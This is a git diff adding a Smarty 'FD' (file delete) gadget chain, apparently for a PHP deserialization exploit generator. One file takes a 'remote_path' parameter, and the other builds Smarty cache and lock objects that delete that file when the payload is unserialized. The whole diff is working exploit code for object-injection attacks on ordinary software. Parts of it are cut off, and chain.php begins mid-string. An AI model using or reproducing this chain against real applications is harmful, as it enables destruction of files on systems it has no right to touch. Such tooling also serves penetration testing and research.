diff --git a/gadgetchains/Smarty/FD/2/chain.php b/gadgetchains/Smarty/FD/2/chain.php new file mode 100644 index 00000000..66cf1421 --- /dev/null +++ b/gadgetchains/Smarty/FD/2/chain.php @@ -0,0 +1,21 @@ +\', replace it with a simple serialized string like \'s:1:"b"\' and try using the modified payload.'; + public static $parameters = [ + 'remote_path' + ]; + + public function generate(array $parameters) + { + return new \Smarty\Template($parameters['remote_path']); + } +} + +?> diff --git a/gadgetchains/Smarty/FD/2/gadgets.php b/gadgetchains/Smarty/FD/2/gadgets.php new file mode 100644 index 00000000..7cfe17f3 --- /dev/null +++ b/gadgetchains/Smarty/FD/2/gadgets.php @@ -0,0 +1,66 @@ +smarty = new Smarty(); + $this->smarty->cache_locking = true; + $this->getCached($lock_id); + } + + public function getCached($lock_id) { + $this->source = new \Smarty\Template\Source(); + $this->cached = new \Smarty\Template\Cached(); + $this->cached->source = $this->source; + $this->cached->handler = new \Smarty\Cacheresource\File(); + $this->cached->lock_id = $lock_id; + $this->cached->is_locked = true; + } + } +} + +?>